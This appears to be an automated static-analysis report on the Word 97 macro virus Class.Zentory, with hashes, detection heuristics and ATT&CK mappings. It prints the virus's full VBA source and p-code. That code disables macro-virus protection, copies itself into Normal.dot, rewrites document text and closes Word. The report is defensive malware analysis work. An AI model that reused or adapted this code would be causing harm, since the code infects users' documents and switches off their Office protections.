Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 959978ff4ba3c650…

MALICIOUS

Office (OLE)

32.5 KB Created: 1998-09-29 04:20:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-18
MD5: 5e23c9ccc39f04ab017a43e8ccca48a0 SHA-1: 3c1315e8fdbd69d85ea13a50a3c826ef2029455b SHA-256: 959978ff4ba3c650901d7e47fbe8d3dbd12856c6a1506a26f5265846ae5e108b
258 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

This document contains legacy WordBasic macro virus markers and VBA macros designed to disable macro protection and replicate the macro code into the Normal.dot template. The script attempts to export its code to 'c:\zentory$.ffo' and then add it back to the Normal template, indicating a self-replication and infection mechanism. The presence of 'OLE_VBA_MACRO_VIRUS_REPLICATION' and 'CLAMAV_DETECTION' heuristics further supports its malicious nature.

Heuristics 7

  • ClamAV: Doc.Trojan.Class-36 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-36
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
        .replaceline 1, "Sub AutoClose()"
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.pgp.com/ In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10263 bytes
SHA-256: 2287c5b70b51e6faa0aa583270964392c12edcee292fbe2dfd6a47069ec9f3b0
Detection
ClamAV: Doc.Trojan.Class-30
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()

On Error GoTo 69

Options.VirusProtection = False

Options.SaveNormalPrompt = False

Options.ConfirmConversions = False

xz = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines

zx = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines

If zx > 120 And xz > 0 Then GoTo 69

If zx < 120 Then

    Set xsz = NormalTemplate.VBProject.VBComponents.Item(1)

    ActiveDocument.VBProject.VBComponents.Item(1).Name = xsz.Name

    ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\zentory$.ffo"

End If

If xz = 0 Then Set xsz = ActiveDocument.VBProject.VBComponents.Item(1)

Infection = Int(Rnd * 100)

If Infection = 99 Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(90) + Chr(69) + Chr(78) + Chr(84) + Chr(79) + Chr(82) + Chr(89) + Chr(32) + Chr(66) + Chr(121) + Chr(32) + Chr(86) + Chr(105) + Chr(82) + Chr(117) + Chr(83)

If Application.Build = "8.0.4412" Then Call z2000

xsz.codemodule.AddFromFile ("c:\zentory$.ffo")

With xsz.codemodule

    For x = 1 To 4

    .deletelines 1

    Next x

End With

If zx < 120 Then

    With xsz.codemodule

    .replaceline 1, "Sub AutoClose()"

    .replaceline 123, "Sub ToolsMacro()"

    End With

End If

With xsz.codemodule

    For x = 2 To 122 Step 2

    .replaceline x, "'" & Application.Build & Application.StartupPath & Application.WindowState & Application.FocusInMailHeader & Application.ActiveWindow
    
Next x

End With

69:

If zx > 120 And xz = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

End Sub

Private Sub z2000()

On Error Resume Next

        Selection.HomeKey Unit:=wdStory

        Selection.Find.ClearFormatting

        Selection.Find.Replacement.ClearFormatting

        With Selection.Find

            .Text = "the"

            .Replacement.Text = "Zentory"

            .Forward = True

            .Wrap = wdFindContinue

            .Format = False

            .MatchCase = False

            .MatchWholeWord = True

            .MatchAllWordForms = False

        End With

        Selection.Find.Execute Replace:=wdReplaceAll

If ActiveDocument.Saved = False Then ActiveDocument.Save

Rpx:

I = I + 1

Application.WindowState = wdWindowStateMinimize

Application.WindowState = wdWindowStateMaximize

If I < 10 Then GoTo Rpx

Application.Quit

End Sub

Sub ViewVBCode()
'Word97/Class.Zentory by Virus,Hi Vic.
End Sub








' Processing file: /tmp/qstore_hhr05f98
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 5354 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' Line #2:
' 	OnError 69 
' Line #3:
' Line #4:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #5:
' Line #6:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #7:
' Line #8:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #9:
' Line #10:
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	St xz 
' Line #11:
' Line #12:
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	St zx 
' Line #13:
' Line #14:
' 	Ld zx 
' 	LitDI2 0x0078 
' 	Gt 
' 	Ld xz 
' 	LitDI2 0x0000 
' 	Gt 
' 	And 
' 	If 
' 	BoSImplicit 
' 	GoTo 69 
' 	EndIf 
' Line #15:
' Line #16:
' 	Ld zx 
' 	LitDI2 0x0078 
' 	Lt 
' 	IfBlock 
' Line #17:
' Line #18:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set xsz 
' Line #19:
' Line #20:
' 	Ld xsz 
' 	MemLd New 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemSt New 
' Line #21:
' Line #22:
' 	LitStr 0x000F "c:\zentory$.ffo"
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #23:
' Line #24:
' 	EndIfBlock 
' Line #25:
' Line #26:
' 	Ld xz 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set xsz 
' 	EndIf 
' Line #27:
' Line #28:
' 	Ld Rnd 
' 	LitDI2 0x0064 
' 	Mul 
' 	FnInt 
' 	St Infection 
' Line #29:
' Line #30:
' 	Ld Infection 
' 	LitDI2 0x0063 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x005A 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0045 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x004E 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0054 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x004F 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0052 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0059 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0042 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0079 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0056 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0069 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0052 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0075 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0053 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	ArgsCall MsgBox 0x0001 
' 	EndIf 
' Line #31:
' Line #32:
' 	Ld Application 
' 	MemLd Build 
' 	LitStr 0x0008 "8.0.4412"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	ArgsCall (Call) z2000 0x0000 
' 	EndIf 
' Line #33:
' Line #34:
' 	LitStr 0x000F "c:\zentory$.ffo"
' 	Paren 
' 	Ld xsz 
' 	MemLd codemodule 
' 	ArgsMemCall AddFromFile 0x0001 
' Line #35:
' Line #36:
' 	StartWithExpr 
' 	Ld xsz 
' 	MemLd codemodule 
' 	With 
' Line #37:
' Line #38:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0004 
' 	For 
' Line #39:
' Line #40:
' 	LitDI2 0x0001 
' 	ArgsMemCallWith deletelines 0x0001 
' Line #41:
' Line #42:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	NextVar 
' Line #43:
' Line #44:
' 	EndWith 
' Line #45:
' Line #46:
' 	Ld zx 
' 	LitDI2 0x0078 
' 	Lt 
' 	IfBlock 
' Line #47:
' Line #48:
' 	StartWithExpr 
' 	Ld xsz 
' 	MemLd codemodule 
' 	With 
' Line #49:
' Line #50:
' 	LitDI2 0x0001 
' 	LitStr 0x000F "Sub AutoClose()"
' 	ArgsMemCallWith replaceline 0x0002 
' Line #51:
' Line #52:
' 	LitDI2 0x007B 
' 	LitStr 0x0010 "Sub ToolsMacro()"
' 	ArgsMemCallWith replaceline 0x0002 
' Line #53:
' Line #54:
' 	EndWith 
' Line #55:
' Line #56:
' 	EndIfBlock 
' Line #57:
' Line #58:
' 	StartWithExpr 
' 	Ld xsz 
' 	MemLd codemodule 
' 	With 
' Line #59:
' Line #60:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	LitDI2 0x0002 
' 	LitDI2 0x007A 
' 	LitDI2 0x0002 
' 	ForStep 
' Line #61:
' Line #62:
' 	Ld x 
' 	LitStr 0x0001 "'"
' 	Ld Application 
' 	MemLd Build 
' 	Concat 
' 	Ld Application 
' 	MemLd StartupPath 
' 	Concat 
' 	Ld Application 
' 	MemLd WindowState 
' 	Concat 
' 	Ld Application 
' 	MemLd FocusInMailHeader 
' 	Concat 
' 	Ld Application 
' 	MemLd ActiveWindow 
' 	Concat 
' 	ArgsMemCallWith replaceline 0x0002 
' Line #63:
' Line #64:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	NextVar 
' Line #65:
' Line #66:
' 	EndWith 
' Line #67:
' Line #68:
' 	LineNum 69 
' 	BoS 0x0000 
' Line #69:
' Line #70:
' 	Ld zx 
' 	LitDI2 0x0078 
' 	Gt 
' 	Ld xz 
' 	LitDI2 0x0000 
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' 	EndIf 
' Line #71:
' Line #72:
' 	EndSub 
' Line #73:
' Line #74:
' 	FuncDefn (Private Sub z2000())
' Line #75:
' Line #76:
' 	OnError (Resume Next) 
' Line #77:
' Line #78:
' 	Ld wdStory 
' 	ParamNamed Unit 
' 	Ld Selection 
' 	ArgsMemCall HomeKey 0x0001 
' Line #79:
' Line #80:
' 	Ld Selection 
' 	MemLd Find 
' 	ArgsMemCall ClearFormatting 0x0000 
' Line #81:
' Line #82:
' 	Ld Selection 
' 	MemLd Find 
' 	MemLd Replacement 
' 	ArgsMemCall ClearFormatting 0x0000 
' Line #83:
' Line #84:
' 	StartWithExpr 
' 	Ld Selection 
' 	MemLd Find 
' 	With 
' Line #85:
' Line #86:
' 	LitStr 0x0003 "the"
' 	MemStWith Then 
' Line #87:
' Line #88:
' 	LitStr 0x0007 "Zentory"
' 	MemLdWith Replacement 
' 	MemSt Then 
' Line #89:
' Line #90:
' 	LitVarSpecial (True)
' 	MemStWith Forward 
' Line #91:
' Line #92:
' 	Ld wdFindContinue 
' 	MemStWith Wrap 
' Line #93:
' Line #94:
' 	LitVarSpecial (False)
' 	MemStWith Format$ 
' Line #95:
' Line #96:
' 	LitVarSpecial (False)
' 	MemStWith MatchCase 
' Line #97:
' Line #98:
' 	LitVarSpecial (True)
' 	MemStWith MatchWholeWord 
' Line #99:
' Line #100:
' 	LitVarSpecial (False)
' 	MemStWith MatchAllWordForms 
' Line #101:
' Line #102:
' 	EndWith 
' Line #103:
' Line #104:
' 	Ld wdReplaceAll 
' 	ParamNamed Replace 
' 	Ld Selection 
' 	MemLd Find 
' 	ArgsMemCall Execute 0x0001 
' Line #105:
' Line #106:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	LitVarSpecial (False)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' 	EndIf 
' Line #107:
' Line #108:
' 	Label Rpx 
' Line #109:
' Line #110:
' 	Ld I 
' 	LitDI2 0x0001 
' 	Add 
' 	St I 
' Line #111:
' Line #112:
' 	Ld wdWindowStateMinimize 
' 	Ld Application 
' 	MemSt WindowState 
' Line #113:
' Line #114:
' 	Ld wdWindowStateMaximize 
' 	Ld Application 
' 	MemSt WindowState 
' Line #115:
' Line #116:
' 	Ld I 
' 	LitDI2 0x000A 
' 	Lt 
' 	If 
' 	BoSImplicit 
' 	GoTo Rpx 
' 	EndIf 
' Line #117:
' Line #118:
' 	Ld Application 
' 	ArgsMemCall Quit 0x0000 
' Line #119:
' Line #120:
' 	EndSub 
' Line #121:
' Line #122:
' 	FuncDefn (Sub ViewVBCode())
' Line #123:
' 	QuoteRem 0x0000 0x0025 "Word97/Class.Zentory by Virus,Hi Vic."
' Line #124:
' 	EndSub 
' Line #125:
' Line #126:
' Line #127:
' Line #128:
' Line #129:
' Line #130:
' Line #131:

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